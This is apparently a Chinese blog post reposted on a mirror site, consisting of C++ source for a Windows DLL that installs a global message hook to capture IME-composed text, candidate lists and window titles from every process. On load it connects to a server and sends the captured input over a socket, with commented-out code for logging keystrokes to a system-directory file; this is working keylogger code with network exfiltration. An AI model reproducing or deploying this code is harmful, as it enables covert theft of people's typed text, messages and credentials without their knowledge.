zoukankan      html  css  js  c++  java
  • 获取输入法输入内容及后选项的钩子

    #include "stdafx.h"
    #include "windows.h"
    #include "imm.h"
    #include "stdio.h"
    #include <tchar.h>
    #include <wchar.h>
    #include <strsafe.h>
    #include <string>
    #include "tool.h"
    #include <WinSock2.h>
    #include <msctf.h>
    #include <Ctffunc.h>
    #include "ClientSocket.h"
    #pragma comment(lib, "imm32.lib")

    #define HOOK_API __declspec(dllexport)

    #pragma data_seg(".shared")
    FILE * glpFile = NULL;
    HHOOK glHook = NULL; //!钩子句柄
    HINSTANCE glhModule = NULL; //!DLL实例
    HWND g_wnd = NULL;//监控窗体句柄
    //BYTE glKeyMap[KEYMAP_SIZE] = {0}; //!存放键盘映射表,全局共享

    HHOOK g_hHook = NULL; //hook句柄
    HINSTANCE g_hHinstance = NULL; //程序句柄
    stds::tool* ptool = NULL;
    #pragma data_seg()

    #pragma comment(linker, " /SECTION:.shared,RWS")


    HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
    HWND FocusWnd; //当前窗口句柄,必须使全局的
    ClientSocket* sock = NULL;

    //字符串临时缓存长度
    #ifndef _MAX_BUF_
    #define _MAX_BUF_ 256
    #endif

    wchar_t title[256]; //获得窗口名字
    wchar_t *ftemp; //begin/end 写到文件里面
    wchar_t temptitle[256]=TEXT("<<标题:"); //<<标题:窗口名字>>
    wchar_t t[2]={0,0}; //捕获单个字母

    extern "C" _declspec(dllexport) void SetWindowHandle(HWND wnd) {
    g_wnd = wnd;
    }

    extern "C" _declspec(dllexport) HWND GetWindowHandle() {
    return g_wnd;
    }

    extern "C" _declspec(dllexport) void ConnectToServer() {
    //if (sock == NULL)
    // pClientSocket = new ClientSocket();
    sock->ConnectToServer();
    }


    HWND GetMainWindowHandle() {
    HWND h = ::GetTopWindow(0 );
    while ( h )
    {
    DWORD pid;
    DWORD dwTheardId = ::GetWindowThreadProcessId( h,&pid);
    if ( pid == 0/*your process id*/ )
    {
    // here h is the handle to the window
    break;
    }
    h = ::GetNextWindow( h , GW_HWNDNEXT);
    }
    return h;
    }

    void StartSocket() {

    }
    void EndSocket() {

    }
    HANDLE m_hMapFile;
    void FileMapping(TCHAR* lpstr)
    {
    //打开共享的文件对象。
    m_hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS,
    FALSE,_T("TestFileMap"));
    LPTSTR lpMapAddr;
    if (m_hMapFile)
    {
    //显示共享的文件数据。
    lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
    0,0,0);
    // OutputDebugString(lpMapAddr);
    }
    else
    {
    //创建共享文件。
    m_hMapFile = CreateFileMapping( (HANDLE)0xFFFFFFFF,NULL,
    PAGE_READWRITE,0,1024,_T("TestFileMap"));
    lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
    0,0,0);

    }

    //拷贝数据到共享文件里。

    std::wstring strTest(lpstr);
    wcscpy(lpMapAddr,strTest.c_str());

    FlushViewOfFile(lpMapAddr,strTest.length()+1);
    //PostMessage(
    }

    void Logs(TCHAR* lpstr)
    {
    /*FILE *fp;
    errno_t ecode = _wfopen_s(&fp, TEXT("D:\temp\HookIMEW32Demo\Debug\Test.txt"),L"ab+");
    if (fp != NULL)
    {
    fwprintf(fp, lpstr);
    fclose(fp);
    }*/


    //TCHAR exeFullPath[MAX_PATH]={0};
    //GetModuleFileName(glhModule, exeFullPath, MAX_PATH);
    //GetModuleFileName(glhModule
    //std::wstring path = get_exeute_path();
    //MessageBox(NULL, exeFullPath, NULL, NULL);
    //FileMapping(lpstr);
    std::wstring s(lpstr);
    sock->SendString(s);
    // return;


    }


    void writefile(wchar_t *lpstr)
    {//保存为文件
    FILE* f1;
    wchar_t cmd[256];
    GetSystemDirectory(cmd,256);
    lstrcat(cmd,TEXT("\hooktxt.txt"));
    //f1=fopen(cmd,"a+");
    //errno_t ecode = _wfopen_s(&f1, TEXT("D:\temp\HookIMEDemo\Debug\Test.txt"),L"ab+");
    errno_t ecode = _wfopen_s(&f1, cmd,L"ab+");
    fwrite(lpstr,lstrlen(lpstr),1,f1);
    //fwprintf(f1, lpstr);
    fclose(f1);
    }
    void writtitle()
    {//保存当前窗口
    FocusWnd = GetActiveWindow();
    if(LastFocusWnd != FocusWnd)
    {
    ftemp=TEXT(" ---------End---------- ");
    //writefile(ftemp);
    Logs(ftemp);
    ftemp=TEXT(" --------begin--------- ");
    //writefile(ftemp);
    Logs(ftemp);
    GetWindowText(FocusWnd, title, 256); //当前窗口标题
    LastFocusWnd = FocusWnd;
    lstrcat(temptitle,title);
    lstrcat(temptitle,TEXT(">> "));
    //writefile(temptitle);
    Logs(temptitle);
    }
    }

    //wParam Command
    //lParam Data
    HWND lastHwnd;
    DWORD lastTime;
    LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
    {
    _wsetlocale(0, L"chs");
    //stds::tool _t;

    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
    switch (pmsg->message)
    {
    case WM_IME_COMPOSITION:
    {
    HIMC hIMC;
    HWND hWnd=pmsg->hwnd;
    DWORD dwSize;
    TCHAR lpstr[20];
    //TCHAR szBuf[20];
    if(pmsg->lParam & GCS_RESULTSTR)
    {
    //先获取当前正在输入的窗口的输入法句柄
    hIMC = ImmGetContext(hWnd);
    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

    // 缓冲区大小要加上字符串的NULL结束符大小,
    // 考虑到UNICODE
    dwSize += sizeof(WCHAR);

    memset(lpstr, 0, 20);

    // 再调用一次.ImmGetCompositionString获取字符串
    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
    //现在lpstr里面即是输入的汉字了。
    //writtitle(); //保存当前窗口
    //writefile(lpstr); //保存为文件
    //MessageBox(NULL, lpstr, lpstr, MB_OK);
    Logs(lpstr);

    //LPDWORD lpDword = NULL;
    //ImmGetCandidateListCount(hIMC, lpDword);
    //wsprintf(s, TEXT("%d"), *lpDword);
    //StringCchPrintf(szBuf, 20/sizeof(TCHAR), TEXT("candidate: %d "), *lpDword);
    //Logs(szBuf);

    ImmReleaseContext(hWnd, hIMC);
    }
    }
    break;
    case WM_CHAR: //截获发向焦点窗口的键盘消息
    break;
    {
    wchar_t ch,str[10];
    ch=(char)(pmsg->wParam);
    if (ch>=32 && ch<=126) //可见字符
    {
    //writtitle();
    t[0]=ch;
    //writefile(t);
    Logs(t);
    }
    if (ch>=8 && ch<=31) //控制字符
    {
    switch(ch)
    {
    case 8:
    lstrcpy(str,TEXT("[退格]"));
    break;
    case 9:
    lstrcpy(str,TEXT("[TAB]"));
    break;
    case 13:
    lstrcpy(str,TEXT("[Enter]"));
    break;
    default:
    lstrcpy(str,TEXT("n"));
    }
    if (lstrcmp(str,TEXT("n")))
    {
    //writtitle();
    //writefile(str);
    Logs(str);
    }
    }

    }
    break;
    case WM_IME_STARTCOMPOSITION:
    break;
    case WM_IME_COMPOSITIONFULL:
    break;
    case WM_IME_ENDCOMPOSITION:
    break;
    case WM_IME_NOTIFY:

    HWND hWnd = pmsg->hwnd;
    HIMC hIMC = NULL;
    DWORD dwSize = 0;
    char*p = NULL;
    TCHAR szBuf[30];
    std::string strCL;
    int nR;
    memset(szBuf, 0, sizeof(TCHAR) * 30);
    CANDIDATEFORM form;
    //LPCANDIDATEINFO lpCandInfo;
    CANDIDATELIST candList;
    LPCANDIDATELIST lp = NULL;
    //LPIMC lpImc;
    //// 这里只关心IMN_CHANGECANDIDATE这个消息,输入法选项的变化
    //IMN_OPENCANDIDATE IMN_CLOSECANDIDATE

    if (pmsg->wParam & IMN_CHANGECANDIDATE)
    {
    if (lastHwnd == pmsg->hwnd && lastTime == pmsg->time) {

    } else {
    TCHAR title[400],title2[400];
    memset(title, 0, sizeof(TCHAR) * 400);
    memset(title2, 0, sizeof(TCHAR) * 400);
    HWND wnd = GetActiveWindow();
    GetWindowText(wnd, title, 256); //当前窗口标题
    GetWindowText(pmsg->hwnd, title2, 256);

    // 获取当前正在输入的窗口的输入法句柄
    hIMC = ImmGetContext(hWnd);
    dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);

    if (dwSize>0)
    {
    p = new char[dwSize];
    lp = (LPCANDIDATELIST)p;

    nR = ImmGetCandidateList(hIMC, 0, lp, dwSize);
    //若是取其它窗口的IMM状态,则lp->dwStyle的值为零(Unknown)。
    //否则返回一,表示可以读取lp指向的数据结构!

    if (nR && lp->dwCount>1)
    {
    int i=1;
    char temp[_MAX_BUF_];
    ZeroMemory(temp,sizeof(temp));

    int nOffset;

    while ( (i<lp->dwCount-lp->dwSelection+1) &&
    (i<lp->dwPageSize+1) )
    {
    std::wstring sT= (wchar_t *)(p + lp->dwOffset[lp->dwPageStart+(i-1)]);
    sprintf( temp , " %d." , i);

    strCL = strCL + temp;
    strCL = strCL + "" + ptool->ws2s(sT);
    i++;
    }
    if (strCL.find_first_not_of(' ') != -1)
    {
    strCL =strCL.substr(strCL.find_first_not_of(' '),strCL.length());
    //例如“万能五笔输入法中”状态中输入字符"k",strCL变为下值
    //1.中 2.口 3.员工maa 4.哎呀aka 5.只w 6.员m
    }
    }

    delete p;
    }
    else
    {
    //OutputDebugString(L"Error: dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);<= 0 /n");
    }
    const char* s = strCL.c_str();
    //stds::tool t;
    std::wstring ws = ptool->s2ws(strCL);
    const wchar_t* wbuffer = ws.c_str();
    Logs((TCHAR*)wbuffer);
    //MessageBox(NULL, wbuffer, wbuffer, MB_OK);
    //m_candidate = strCL;

    // 通过句柄得到IMC结构 (input method context)
    //lpImc = ImmLockIMC(hIMC);
    // 得到候选项信息
    //lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
    // 得到输入法的候选项列表
    //lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]);
    // 成功:)之后就可以做进一步的处理

    //ImmGetCandidateListCount(hIMC, &dword);
    //DWORD idx = 0;
    //ImmGetCandidateList(hIMC, idx, &candList, 200);
    //wsprintf(szBuf, TEXT("candidate:%d"), candList.dwCount);
    //candList.dwOffset
    //StringCchPrintf(szBuf, 30/sizeof(TCHAR), TEXT("candidate: %d "), dword);
    //;
    //candList.dwCount
    //wchar_t* t = (wchar_t*)candList.dwOffset;
    //MessageBox(NULL, szBuf, szBuf, MB_OK);
    //MessageBox(NULL, t, t, MB_OK);

    //Logs(szBuf);
    // // 通过句柄得到IMC结构 (input method context)
    // lpImc = ImmLockIMC(hIMC);
    // // 得到候选项信息
    // lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
    // // 得到输入法的候选项列表
    //lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]);
    //lpCandList->
    // // 成功:)之后就可以做进一步的处理
    }
    }

    lastHwnd = pmsg->hwnd;
    lastTime = pmsg->time;
    break;
    }
    }
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);

    return(lResult);
    }

    //HOOK_API BOOL InstallHook()
    extern "C" HOOK_API BOOL InstallHook()
    {
    //MessageBox(NULL, TEXT("InstallHook"), NULL, NULL);
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
    }

    //HOOK_API BOOL UnHook()
    extern "C" HOOK_API BOOL UnHook()
    {
    return UnhookWindowsHookEx(g_hHook);
    }

    void TFSTest() {
    CoInitialize(0);
    HRESULT hr = S_OK;
    ITfCompartmentMgr *pCompMgr = NULL;
    ITfContext *_pContextCandidateWindow = NULL;
    TfEditCookie ecTmp;
    TfClientId tfClientId;
    ITfDocumentMgr *pDocumentMgr;
    ITfThreadMgr* pThreadMgr;
    ITfThreadMgr2* pThreadMgr2;

    hr = CoCreateInstance(CLSID_TF_ThreadMgr,
    NULL,
    CLSCTX_INPROC_SERVER,
    IID_ITfThreadMgr,
    (void**)&pThreadMgr);
    hr = CoCreateInstance(CLSID_TF_ThreadMgr,
    NULL,
    CLSCTX_INPROC_SERVER,
    IID_ITfThreadMgr2,
    (void**)&pThreadMgr);
    hr = pThreadMgr->CreateDocumentMgr(&pDocumentMgr);

    if (FAILED(pDocumentMgr->CreateContext(tfClientId, 0, NULL, &_pContextCandidateWindow, &ecTmp))) {
    }

    //IID_ITfCandidateListUIElement e;
    //ITfCompartment *m_pCompartment;
    //CoCreateInstance(IID_ITfCompartment, &m_pCompartment, )
    //HRESULT hr;
    if (_pContextCandidateWindow->QueryInterface(IID_ITfCompartmentMgr, (void **)&pCompMgr) == S_OK) {
    }

    ITfCompartment *pCompartment;
    if (pCompMgr->GetCompartment(GUID_COMPARTMENT_KEYBOARD_OPENCLOSE, &pCompartment) == S_OK) {
    }
    ITfInputProcessorProfiles *pProfiles;
    hr = CoCreateInstance(CLSID_TF_InputProcessorProfiles,
    NULL,
    CLSCTX_INPROC_SERVER,
    IID_ITfInputProcessorProfiles,
    (LPVOID*)&pProfiles);

    ITfSource *pSource;
    //IUnknown p;
    //hr = p.QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
    hr = pThreadMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
    if (SUCCEEDED(hr))
    {
    pSource->Release();
    }
    hr = _pContextCandidateWindow->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
    if (SUCCEEDED(hr))
    {
    pSource->Release();
    }
    hr = pCompMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
    if (SUCCEEDED(hr))
    {
    pSource->Release();
    }
    hr = pProfiles->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
    if (SUCCEEDED(hr))
    {
    pProfiles->Release();
    }
    if (SUCCEEDED(hr))
    {
    pSource->Release();
    }

    /*ITfFnReconversion pREconverstion;

    ITfRange range;
    ITfFnReconversion::QueryRange()
    ITfCandidateList *pCandidateList = new ITfCandidateList();
    GetReconversion(&range, &ppCandList);
    //hr = m_pCompartment->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
    if (SUCCEEDED(hr))
    {
    hr = pSource->AdviseSink(IID_ITfCompartmentEventSink,
    (ITfCompartmentEventSink*)this,
    &m_dwCookie);

    pSource->Release();
    }*/
    }

    BOOL APIENTRY DllMain( HANDLE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
    )
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    g_hHinstance=HINSTANCE(hModule);
    ptool = new stds::tool();
    if (sock == NULL)
    sock = new ClientSocket();
    sock->Startup();
    sock->ConnectToServer();
    //StartSocket();

    break;
    case DLL_THREAD_ATTACH:
    break;
    case DLL_THREAD_DETACH:
    break;
    case DLL_PROCESS_DETACH:
    UnHook();
    delete ptool;
    ptool = NULL;
    sock->Close();
    delete sock;
    //EndSocket();
    //pClientSocket->Close();
    //pClientSocket = NULL;
    break;
    }
    return TRUE;
    }

  • 相关阅读:
    linux 还能这么来
    JS还能这么来
    FFmpeg常用命令
    golang gin框架默认打印日志写入到文件 (http请求打印写入到文件而不是控制台)
    社保、新农合介绍以及报销比例介绍
    Lightroom 快捷键集合
    golang map基础使用-初始化
    SOLID
    java dump
    Java 网络IO编程总结(BIO、NIO、AIO均含完整实例代码)
  • 原文地址:https://www.cnblogs.com/yuanxiaoping_21cn_com/p/3705347.html
Copyright © 2011-2022 走看看